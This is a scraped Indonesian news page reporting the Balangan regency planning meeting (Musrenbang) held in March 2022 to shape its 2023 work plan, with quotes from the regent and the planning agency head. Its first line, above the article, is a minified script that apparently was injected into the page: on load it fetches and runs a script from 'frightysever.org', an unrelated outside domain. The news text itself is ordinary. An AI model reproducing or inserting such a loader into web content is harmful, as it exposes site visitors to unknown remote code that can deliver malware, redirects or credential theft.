(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

Musrenbang Balangan 2023 Fokus Peningkatan Infrastruktur, SDM, dan Potensi Daerah


KANALKALIMANTAN.COM, PARINGIN – Badan Perencanaan, Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Balangan melakukan Musyawarah Rencana Pembangunan (Musrenbang) tahun 2022 bertempat di Mahligai Mayang Maurai, Paringin, Rabu (30/3/2022). Kegiatan tersebut dalam rangka penyusunan Rencana Kerja Pemerintah Daerah (RKPD) tahun 2023.

Pada Musrenbang tersebut, tergambar jika Pemkab Balangan memfokuskan perencanaan daerah pada tahun 2023 mendatang pada meningkatkan infrastruktur kota, desa, sumber daya manusia dan optimalisasi potensi daerah.

Bupati Balangan Abdul Hadi menyebutkan, rancangan RKPD 2023 harus dapat dipilah program yang menjadi proyek strategis, serta meminta visi misi kepemimpinannya pada tahun 2023 harus dieksekusi dan tuntas.

“Tugas Bappeda, pilah mana-mana proyek strategis, proyek tidak boleh gagal. Dan yang menjadi tulang punggung visi misi Bupati, kawal serta pastikan terlaksana tepat waktu,” tegasnya.

 

 

Baca juga: Berkah Ramadhan, Polres Barsel Bagikan Takjil Selama 30 Hari Kedepan

Khusus kepada jajaran Inspektorat Kabupaten Balangan, Abdul Hadi juga meminta, untuk mempersiapkan SKPD, agar tidak takut dalam melaksanakan proyek-proyek strategis.

“Selain berupaya menuntaskan program pembangunan di daerah, kita juga tetap berkomitmen mendukung program-program Pemerintah Provinsi maupun Pemerintah Pusat,” tambah Abdul Hadi.

Ke depan lanjutnya, pihaknya bekerja sama dengan Bappedalitbang akan memanggil setiap SKPD supaya menjamin pagu indikator ini sudah berjalan dengan semestinya atau belum.

Sementara Kepala Bappedalitbang Kabupaten Balangan Rakhmadi Yusni, mengungkapkan tujuan dari kegiatan ini adalah melakukan mapping pemutakhiran program, kegiatan dan sub kegiatan beserta indikatornya berdasarkan Kepmendagri nomor 050-5889 tahun 2021.

“Tentunya juga melaksanakan verifikasi yang dilaksanakan untuk memastikan kesesuaian rancangan awal Renja perangkat daerah dengan rancangan awal RKPD,” ungkap Rakhmadi. (Kanalkalimantan.com/alf)

Reporter: alf
Editor: cell


Risa

Recent Posts

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

15 menit ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

20 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

24 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

1 hari ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

1 hari ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

1 hari ago

This website uses cookies.